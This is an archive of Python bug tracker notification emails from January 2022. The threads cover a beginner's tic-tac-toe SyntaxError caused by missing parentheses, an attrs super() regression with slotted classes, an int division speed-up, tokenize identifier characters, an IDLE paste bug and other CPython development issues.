'|' + board[2] + '|' + board[3]) def inputPlayerLetter(): letter='' while not (letter=="X" or letter=="O"): print('Do you want to be X or O?') letter=input.upper() if letter =='X': return['X','O'] else: return['O','X'] def whoGoesFirst(): if random.randint(0,1) == 0: return 'computer' else: return 'player' def makeMove(board,letter,move): board[move]=letter def isWinner(bo,le): return ((bo[7] == le and bo[8] == le and bo[9] == le) or ((bo[4] == le and bo[5] == le and bo[6] == le) or ((bo[1] == le and bo[2] == le and bo[3] == le) or ((bo[7] == le and bo[4] == le and bo[1] == le) or ((bo[8] == le and bo[5] == le and bo[2] == le) or ((bo[9] == le and bo[6] == le and bo[3] == le) or ((bo[7] == le and bo[5] == le and bo[3] == le) or ((bo[9] == le and bo[5] == le and bo[1] == le)) def getBoardCopy(board): boardCopy=[] for i in board: boardCopy.append(i) return boardCopy def isSpaceFree(board,move): return board[move] == '' def getPlayerMove(board): move='' while move not in '1 2 3 4 5 6 7 8 9'.split() or not isSpaceFree(board,int(move)): print('What is your next move? (1-9)') move=input() return int(move) def chooseRandomMoveFromList(board,movesList): possibleMoves=[] for i in movesList: if isSpaceFree(board,i): possibleMoves.append(i) if len(possibleMoves) != 0: return random.choice(possibleMoves) else: return None def getComputerMove(board,computerLetter): if computerLetter=='X': playerLetter=='O' else: playerLetter=='X' for i in range(1,10): boardCopy=getBoardCopy(board) if isSpaceFree(boardCopy,i): makeMove(boardCopy,computerLetter,i) if isWinner(boardCopy,playerLetter): return i move=chooseRandomMoveFromList(board, [1,3,7,9]) if move!=None: return move if isSpaceFree(board,5): return 5 return chooseRandomMoveFromList(board, [2,4,6,8]) def isBoardFull(board): for i in range(1,10): if isSpaceFree(board,i): return False for i in range(1,10): if isSpaceFree(board,i): return False return True print('Welcome to Tic-Tac-Toe') while True: theBoard=[''] * 10 playerLetter, computerLetter=inputPlayerLetter() turn=whoGoesFirst() print('The ' + turn + ' will go first.') gameIsPlaying=True while gameIsPlaying: if turn=='player': drawBoard(theBoard) move=getPlayerMove(theBoard) makeMove(theBoard,playerLetter,move) if isWinner(theBoard,playerLetter): drawBoard(theBoard) print('Hooray! You have won the game!') gameIsPlaying=False else: if isBoardFull(theBoard): drawBoard(theBoard) print('The game is a tie!') break else: turn='computer' else: move=getComputerMove(theBoard, computerLetter) makeMove(theBoard,computerLetter,move) if isWinner(theBoard,computerLetter): drawBoard(theBoard) print('The computer has beat you! You lose.') gameIsPlaying=False else: if isBoardFull(theBoard): drawBoard(theBoard) print('The game is a tie!') break else: turn='player' print('Do you want to play again! (yes or no)') if not input().lower().startswith('y'): break On def getBoardCopy(board):, it says "SyntaxError:invalid syntax". I looked through the code and found nothing wrong. Why is this? ---------- assignee: terry.reedy components: IDLE files: tic_tac_toe.py messages: 410720 nosy: 1071754, terry.reedy priority: normal severity: normal status: open title: SyntaxError for no reason versions: Python 3.9 Added file: https://bugs.python.org/file50565/tic_tac_toe.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:19:30 2022 From: report at bugs.python.org (Zachary Ware) Date: Sun, 16 Jan 2022 20:19:30 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642364370.13.0.0218375899899.issue46402@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +erlendaasland, zach.ware stage: -> needs patch type: -> enhancement versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:29:39 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 20:29:39 +0000 Subject: [issue46403] Unhelpful SyntaxError In-Reply-To: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> Message-ID: <1642364979.34.0.445322415598.issue46403@roundup.psfhosted.org> Eric V. Smith added the comment: This is not the appropriate place to ask for help in debugging your code. I suggest you ask on the python-list mailing list. The error is that you're missing a bunch of right parenthesis in the isWinner() function. I do think "Syntax Error" isn't the best error message, though. Here's a simplified reproducer: --------------- def f(): return ((1==2) x --------------- Note that in 3.11 (the only other version I have handy), the error is: File "foo.py", line 2 return ((1==2) ^ SyntaxError: '(' was never closed I suspect that we won't fix this in old versions of python. ---------- components: +Parser -IDLE nosy: +eric.smith, lys.nikolaou, pablogsal -1071754 title: SyntaxError for no reason -> Unhelpful SyntaxError _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:30:15 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 20:30:15 +0000 Subject: [issue46403] Unhelpful SyntaxError In-Reply-To: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> Message-ID: <1642365015.91.0.391766825015.issue46403@roundup.psfhosted.org> Eric V. Smith added the comment: [Numeric id's automatically get dropped from the nosy list: trying to add it back] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:31:46 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 20:31:46 +0000 Subject: [issue46403] Unhelpful SyntaxError In-Reply-To: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> Message-ID: <1642365106.72.0.941188000655.issue46403@roundup.psfhosted.org> Eric V. Smith added the comment: [And I was unable to add the numeric id as nosy. Apologies to the OP, who probably will never see this! It's a bug in the bpo software.] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:32:58 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 20:32:58 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? In-Reply-To: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> Message-ID: <1642365178.0.0.869911931333.issue46402@roundup.psfhosted.org> Eric V. Smith added the comment: I agree that would be a useful option. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:54:52 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 20:54:52 +0000 Subject: [issue46401] Setuptools 60.0 breaks building from source on Debian 11: No module named 'binascii' In-Reply-To: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> Message-ID: <1642366492.04.0.527516023773.issue46401@roundup.psfhosted.org> Christian Heimes added the comment: Jason told me that setuptools is already aware of the issue. He reopened bug https://github.com/pypa/setuptools/issues/3007 and is now investigation the problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 16:34:31 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 16 Jan 2022 21:34:31 +0000 Subject: [issue12782] Multiple context expressions do not support parentheses for continuation across lines In-Reply-To: <1313719817.79.0.828403712604.issue12782@psf.upfronthosting.co.za> Message-ID: <1642368871.65.0.502162784794.issue12782@roundup.psfhosted.org> ?ric Araujo added the comment: PEP 8 used with statements as an example of use of backslashes, I am proposing this change: https://github.com/python/peps/pull/2244 ---------- nosy: +eric.araujo versions: +Python 3.10 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 16:35:42 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 16 Jan 2022 21:35:42 +0000 Subject: [issue12782] Multiple context expressions do not support parentheses for continuation across lines In-Reply-To: <1313719817.79.0.828403712604.issue12782@psf.upfronthosting.co.za> Message-ID: <1642368942.52.0.970622822711.issue12782@roundup.psfhosted.org> Change by ?ric Araujo : ---------- nosy: +Anthony Sottile, BTaskaya, Jeffrey.Kintscher, Julian, Terry Davis, barry, benjamin.peterson, ezio.melotti, georg.brandl, gvanrossum, ishimoto, jack1142, lukasz.langa, ncoghlan, pablogsal, r.david.murray, serhiy.storchaka, steven.daprano, thautwarm, ulope _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 16:52:54 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 21:52:54 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642369974.72.0.814383881227.issue40280@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 91e33ac3d08a1c6004c469da2c0e2a97b5bdc53c by Christian Heimes in branch 'main': bpo-40280: Add requires_fork test helper (GH-30622) https://github.com/python/cpython/commit/91e33ac3d08a1c6004c469da2c0e2a97b5bdc53c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 17:07:41 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 16 Jan 2022 22:07:41 +0000 Subject: [issue12782] Multiple context expressions do not support parentheses for continuation across lines In-Reply-To: <1313719817.79.0.828403712604.issue12782@psf.upfronthosting.co.za> Message-ID: <1642370861.06.0.592966889402.issue12782@roundup.psfhosted.org> Guido van Rossum added the comment: [Meta: Why did adding a comment add all those people (back?) to the nosy list?] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 17:14:02 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 16 Jan 2022 22:14:02 +0000 Subject: [issue12782] Multiple context expressions do not support parentheses for continuation across lines In-Reply-To: <1313719817.79.0.828403712604.issue12782@psf.upfronthosting.co.za> Message-ID: <1642371242.75.0.395779237292.issue12782@roundup.psfhosted.org> ?ric Araujo added the comment: [There are two separate events in the ticket log: I added my comment, then noticed I was the only nosy so I found all the prople recently removed by error and re-added them] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 17:35:14 2022 From: report at bugs.python.org (Diego Ramirez) Date: Sun, 16 Jan 2022 22:35:14 +0000 Subject: [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST In-Reply-To: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org> Message-ID: <1642372514.88.0.780443223338.issue46381@roundup.psfhosted.org> Change by Diego Ramirez : ---------- nosy: +DiddiLeija _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 17:48:06 2022 From: report at bugs.python.org (=?utf-8?q?Tin_Tvrtkovi=C4=87?=) Date: Sun, 16 Jan 2022 22:48:06 +0000 Subject: [issue46404] 3.11a4: a small attrs regression Message-ID: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> New submission from Tin Tvrtkovi? : We've received a report over at the attrs issue tracker about our test suite failing on Python 3.11. Here's the link: https://github.com/python-attrs/attrs/issues/907 It turns out to be an issue with the no-arg `super()` calls in slotted classes. Here's a minimal reproducer example: ``` from attrs import define @define class A: pass @define class B(A): def test(self): super() B().test() ``` ``` Traceback (most recent call last): File "/Users/tintvrtkovic/pg/attrs/a01.py", line 15, in B().test() ^^^^^^^^^^ File "/Users/tintvrtkovic/pg/attrs/a01.py", line 12, in test super() ^^^^^^^ TypeError: super(type, obj): obj must be an instance or subtype of type ``` This is a known issue for which we have implemented workarounds. The workarounds aren't effective for 3.11 though. I have implemented a fix in attrs (https://github.com/python-attrs/attrs/pull/910), but I still thought I'd post this here to maybe get the core devs opinion. Dataclasses exhibit the exact same issue when used with `slots=True`, both in 3.10 when `slots` was added and in 3.11. I guess no one reported it or tried fixing it. A comprehensive description of the issue follows: since it's impossible to add *slotness* (i.e. set `__slots__`) to a class after it has been created, when creating a slotted class the class decorators in attrs and dataclasses actually replace the class they are applied to with a copy of it, with slots added. This works, except in the case of the no-arg `super()` being used in any of the class methods (and maybe another edge case that I can't remember). When the compiler encounters the no-arg `super()` form, it adds some state to the function `__closure__` cells. This state causes the exception shown above, since it's incorrect when the class gets replaced. So these closure cells need to be rewritten when the class is replaced. In Python versions prior to 3.11, the closure cells were immutable so extra effort was needed to rewrite them. The functions are here: https://github.com/python-attrs/attrs/blob/9727008fd1e40bc55cdc6aee71e0f61553f33127/src/attr/_compat.py#L145. In 3.11, our old closure cell rewriting doesn't work any more, but closure cells don't appear to be immutable either, so the fix in my attr PR linked above is simple. Still, it's another branch in the code to support a specific version. I don't know if there's anything actionable here for Python, apart from confirming or denying if this behavior is expected. ---------- components: Interpreter Core messages: 410730 nosy: tinchester priority: normal severity: normal status: open title: 3.11a4: a small attrs regression type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:10:56 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 23:10:56 +0000 Subject: [issue24194] tokenize fails on some Other_ID_Start or Other_ID_Continue In-Reply-To: <1431608427.75.0.966529056278.issue24194@psf.upfronthosting.co.za> Message-ID: <1642374656.86.0.264828646211.issue24194@roundup.psfhosted.org> Terry J. Reedy added the comment: Udated doc link, which appears to be same: https://docs.python.org/3.11/reference/lexical_analysis.html#identifiers Updated property list linked in above: https://www.unicode.org/Public/14.0.0/ucd/PropList.txt Relevant content for this issue: 1885..1886 ; Other_ID_Start # Mn [2] MONGOLIAN LETTER ALI GALI BALUDA..MONGOLIAN LETTER ALI GALI THREE BALUDA 2118 ; Other_ID_Start # Sm SCRIPT CAPITAL P 212E ; Other_ID_Start # So ESTIMATED SYMBOL 309B..309C ; Other_ID_Start # Sk [2] KATAKANA-HIRAGANA VOICED SOUND MARK..KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK # Total code points: 6 00B7 ; Other_ID_Continue # Po MIDDLE DOT 0387 ; Other_ID_Continue # Po GREEK ANO TELEIA 1369..1371 ; Other_ID_Continue # No [9] ETHIOPIC DIGIT ONE..ETHIOPIC DIGIT NINE 19DA ; Other_ID_Continue # No NEW TAI LUE THAM DIGIT ONE # Total code points: 12 Codepoints of '??' opening example: '0x2118' Other_Id_start Sm Script Capital P '0xb7' Other_Id_continue P0 Middle dot Except for the two Mongolian start characters, Meador's patch hardcodes the 'Other' characters, thereby adding them without waiting for re to be fixed. While this will miss new additions without manual updates, it is better than missing everything for however many years. I will make a PR with the additions and looks at the new tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:11:50 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 16 Jan 2022 23:11:50 +0000 Subject: [issue43012] Remove pathlib accessors In-Reply-To: <1611425755.47.0.494853383169.issue43012@roundup.psfhosted.org> Message-ID: <1642374710.05.0.972495546538.issue43012@roundup.psfhosted.org> ?ric Araujo added the comment: PR looks good, just needs a look by a pathlib expert. ---------- nosy: +eric.araujo, eric.smith, eryksun, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:13:45 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 23:13:45 +0000 Subject: [issue24194] Make tokenize recognize Other_ID_Start and Other_ID_Continue chars In-Reply-To: <1431608427.75.0.966529056278.issue24194@psf.upfronthosting.co.za> Message-ID: <1642374825.34.0.464761058124.issue24194@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- title: tokenize fails on some Other_ID_Start or Other_ID_Continue -> Make tokenize recognize Other_ID_Start and Other_ID_Continue chars _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:14:48 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 23:14:48 +0000 Subject: [issue24194] Make tokenize recognize Other_ID_Start and Other_ID_Continue chars In-Reply-To: <1431608427.75.0.966529056278.issue24194@psf.upfronthosting.co.za> Message-ID: <1642374888.25.0.0672446639976.issue24194@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- assignee: meador.inge -> terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:30:44 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 16 Jan 2022 23:30:44 +0000 Subject: [issue43012] Remove pathlib accessors In-Reply-To: <1611425755.47.0.494853383169.issue43012@roundup.psfhosted.org> Message-ID: <1642375844.59.0.337015884628.issue43012@roundup.psfhosted.org> Barney Gale added the comment: Thank you ?ric! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:34:45 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 23:34:45 +0000 Subject: [issue46405] Warning compiling main on Windows Message-ID: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org> New submission from Terry J. Reedy : Sometime between Jan 7 and Jan 16 (today) this VC compile warning appeared (debug build). "specialize.c ..\Python\specialize.c(1243): warning C4018: '<': signed/unsigned mismatch [f:\dev\3x\PCbuild\_freeze_module.vcxproj]" Same is repeated at end of compile. Could and should such warnings be treated as errors in CI Windows' build? Or is it specific to debug build? ---------- components: Build, Windows messages: 410734 nosy: Mark.Shannon, paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal status: open title: Warning compiling main on Windows type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:38:29 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 Jan 2022 23:38:29 +0000 Subject: [issue46406] optimize int division Message-ID: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> New submission from Gregory P. Smith : Based on a python-dev thread, we've come up with faster int division code for CPython's bignums. https://mail.python.org/archives/list/python-dev at python.org/thread/ZICIMX5VFCX4IOFH5NUPVHCUJCQ4Q7QM/#NEUNFZU3TQU4CPTYZNF3WCN7DOJBBTK5 filing this issue for starters to attach a PR to. details forthcoming. ---------- messages: 410735 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: optimize int division type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:40:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 23:40:49 +0000 Subject: =?utf-8?q?=5Bissue31894=5D_=5Bdoc=5D_documentation_incorrectly_says_that_?= =?utf-8?b?4oCcZGF0ZXRpbWUudGltZXN0YW1w4oCdIGNhbGxzIOKAnG1rdGltZeKAnQ==?= In-Reply-To: <1509311445.47.0.213398074469.issue31894@psf.upfronthosting.co.za> Message-ID: <1642376449.22.0.917551365802.issue31894@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: -> docs at python components: +Documentation -Library (Lib), Tests nosy: +docs at python title: test_timestamp_naive failed on NetBSD -> [doc] documentation incorrectly says that ?datetime.timestamp? calls ?mktime? versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:44:03 2022 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 Jan 2022 23:44:03 +0000 Subject: [issue46404] 3.11a4: a small attrs regression In-Reply-To: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> Message-ID: <1642376643.83.0.0869069484632.issue46404@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:45:41 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 Jan 2022 23:45:41 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642376741.48.0.437227655582.issue46406@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +28829 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30626 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:55:01 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 Jan 2022 23:55:01 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642377301.36.0.261547807602.issue46406@roundup.psfhosted.org> Gregory P. Smith added the comment: The PR was directly inspired by Mark Dickinson's code in the email thread directly using __asm__ to get the instruction he wanted. There is usually a way to make the compiler actually do what you intend. This appears to be it. Interestingly, experimenting with small code snippets rather than the entire longobject.c on gotbolt.org to check various compilers output does not always yield as nice of a result. (clang 11+ showed promise there, but this change benefits gcc equally as well in real world CPython microbenchmark timeit tests). https://godbolt.org/z/63eWPczjx was my playground code. ``` $ ./b-clang13/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17' 1500000 loops, best of 5: 450 nsec per loop $ ./b-clang13-new-basic-divrem1/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17' 1500000 loops, best of 5: 375 nsec per loop $ ./b-gcc9/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17' 1500000 loops, best of 5: 448 nsec per loop $ ./b-gcc9-new-basic-divrem1/python -m timeit -n 1500000 -s 'x = 10**1000; r=x//10; assert r == 10**999, r' 'x//17' 1500000 loops, best of 5: 370 nsec per loop ``` That's on an AMD zen3 (x86_64). Also tested with other divisors, 17 is not specialized by the compiler. These were not --enable-optimizations builds, though the results remain similar on those for non-specialized values as x//10 turns into when using -fprofile-values on gcc9. Performance tests using other architectures forthcoming. A pyperformance suite run on a benchmark-stable host is worthwhile. I don't actually expect this to show up as significant in most things there; we'll see. The new code is not any more difficult to maintain than the previous code regardless. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 18:55:18 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 Jan 2022 23:55:18 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642377318.14.0.16748318611.issue46406@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 19:02:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 00:02:23 +0000 Subject: [issue25652] collections.UserString.__rmod__() raises NameError In-Reply-To: <1447823769.89.0.495006915909.issue25652@psf.upfronthosting.co.za> Message-ID: <1642377743.27.0.885971664883.issue25652@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 19:18:23 2022 From: report at bugs.python.org (Ching) Date: Mon, 17 Jan 2022 00:18:23 +0000 Subject: [issue46401] Setuptools 60.0 breaks building from source on Debian 11: No module named 'binascii' In-Reply-To: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> Message-ID: <1642378703.77.0.510732436584.issue46401@roundup.psfhosted.org> Ching added the comment: Thank you for your solution: setting the env var SETUPTOOLS_USE_DISTUTILS=stdlib. 1. At my previous Python 3.10.1, I always upgrade to the latest setuptools (60.5.0), then I get an error of "No module named 'binascii'" during upgrading to Python 3.10.2 from compiling source. 2. I do not have the above issue as I install a new Python 3.10.2 with the bundled setuptools 59.0.1 at termux environment. It is an issue of upgrade at my linux environment. I shall close this ticket soon. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 20:40:59 2022 From: report at bugs.python.org (Inada Naoki) Date: Mon, 17 Jan 2022 01:40:59 +0000 Subject: [issue29241] sys._enablelegacywindowsfsencoding() don't apply to os.fsencode and os.fsdecode In-Reply-To: <1484137681.59.0.0301192140292.issue29241@psf.upfronthosting.co.za> Message-ID: <1642383659.45.0.281243653962.issue29241@roundup.psfhosted.org> Inada Naoki added the comment: Mercurial still use it. https://www.mercurial-scm.org/repo/hg-stable/file/tip/mercurial/pycompat.py#l113 Mercurial has plan to move filesystem name from ANSI Code Page to UTF-8, but I don't know about its progress. https://www.mercurial-scm.org/wiki/WindowsUTF8Plan ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 22:04:12 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 17 Jan 2022 03:04:12 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642388652.04.0.876084102342.issue46406@roundup.psfhosted.org> Gregory P. Smith added the comment: I tested my PR branch on 32-bit arm (raspbian bullseye) and the microbenchmark timing shows no change (within the noise across repeated runs). Unsurprising as division is entirely different on 32-bit arm. Raspbian uses armv6 for compatibility with the original rpi and rpi0. armv6 does not have an integer division instruction. (how RISCy of it) But that doesn't make a difference in this code as the final 32-bit arm ISA, armv7-a, only has a 32:32 divider. (armv8 aka aarch64 is 64-bit and uses a UDIV as one would expect) anyways, that satisfies me that it isn't making anything worse elsewhere. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 23:10:46 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 17 Jan 2022 04:10:46 +0000 Subject: [issue35467] IDLE: unrequested pasting into Shell after restart In-Reply-To: <1544581924.2.0.788709270274.issue35467@psf.upfronthosting.co.za> Message-ID: <1642392646.67.0.619792737511.issue35467@roundup.psfhosted.org> Terry J. Reedy added the comment: I finally caught an example, which was not immediately after restart. I copied the two lines of output, entered 'import re\n' and the copied text was pasted, then the line with the addition compiled, leading to the error. Type "help", "copyright", "credits" or "license()" for more information. >>> for c in '??': hex(ord(c)) ... '0x2118' '0xb7' >>> import re'0x2118' ... '0xb7' SyntaxError: invalid syntax >>> for c in '??': hex(ord(c)) I pasted the copied output into an issue on the browser and did other stuff before coming back to this window to try something with re. Differences from my initial report: No RESTART (though usually or often is), no exception, not first entry (but first time not?). Edit menu item 'Paste' and the shortcut are bound to IDLE-defined pseudoevent '<>' which invokes method EditorWindow.paste which calls event_generate('<>'), where the latter event is a tk-defined event. Where triggered? I could add a print-to-console in .paste? Happening only in shell and after Enter suggest looking as shell-specific part of Enter handling. If never on Linux, could x-11-only fix-x11-paste (called in pyshell.main) explain why not? I searched stackoverflow [tkinter] questions for 'paste'. Got 840 responses, looked as first page, saw nothing relevant. Adding 'unwanted', 'unexpected', or 'spontaneous' resulted in no hits. I will consider asking a question myself. ---------- nosy: +epaine _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 23:27:35 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 17 Jan 2022 04:27:35 +0000 Subject: [issue46406] optimize int division In-Reply-To: <1642376309.6.0.865823725901.issue46406@roundup.psfhosted.org> Message-ID: <1642393655.45.0.785161082658.issue46406@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +rhettinger, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 00:08:26 2022 From: report at bugs.python.org (Hynek Schlawack) Date: Mon, 17 Jan 2022 05:08:26 +0000 Subject: [issue46404] 3.11a4: a small attrs regression In-Reply-To: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> Message-ID: <1642396106.89.0.858417132114.issue46404@roundup.psfhosted.org> Change by Hynek Schlawack : ---------- nosy: +hynek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 00:15:04 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 17 Jan 2022 05:15:04 +0000 Subject: [issue46405] Warning compiling main on Windows In-Reply-To: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org> Message-ID: <1642396504.06.0.880377873143.issue46405@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch nosy: +kumaraditya303 nosy_count: 6.0 -> 7.0 pull_requests: +28830 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30627 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 00:23:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 17 Jan 2022 05:23:27 +0000 Subject: [issue46403] Unhelpful SyntaxError In-Reply-To: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> Message-ID: <1642397007.47.0.812714638935.issue46403@roundup.psfhosted.org> Terry J. Reedy added the comment: For non-coredevs, 'not a bug' means not a bug in the CPython interpreter, as opposed to user code, which here has bugs. People asking questions (preferably in a more appropriate place) should read, for instance, https://stackoverflow.com/help/minimal-reproducible-example How to create a Minimal, Reproducible Example A minimal reproducer is '('. In 3.9, the message is 'unexpected EOF while parsing'. It is not unusual for beginners to leave out the message when reporting an exception in text rather than copy-pasting the last few lines of the traceback (which indicates exactly where the error is caught). [bpo software should be rejecting number IDs] I sent an email to Hayden. ---------- assignee: terry.reedy -> resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 00:26:33 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 17 Jan 2022 05:26:33 +0000 Subject: [issue46403] Unhelpful SyntaxError In-Reply-To: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> Message-ID: <1642397193.6.0.2597006147.issue46403@roundup.psfhosted.org> Terry J. Reedy added the comment: Email bounced. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 00:42:50 2022 From: report at bugs.python.org (=?utf-8?q?Lum=C3=ADr_Balhar?=) Date: Mon, 17 Jan 2022 05:42:50 +0000 Subject: [issue46404] 3.11a4: a small attrs regression In-Reply-To: <1642373286.75.0.870897334257.issue46404@roundup.psfhosted.org> Message-ID: <1642398170.85.0.651842733396.issue46404@roundup.psfhosted.org> Change by Lum?r Balhar : ---------- nosy: +frenzy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 01:23:53 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 17 Jan 2022 06:23:53 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: 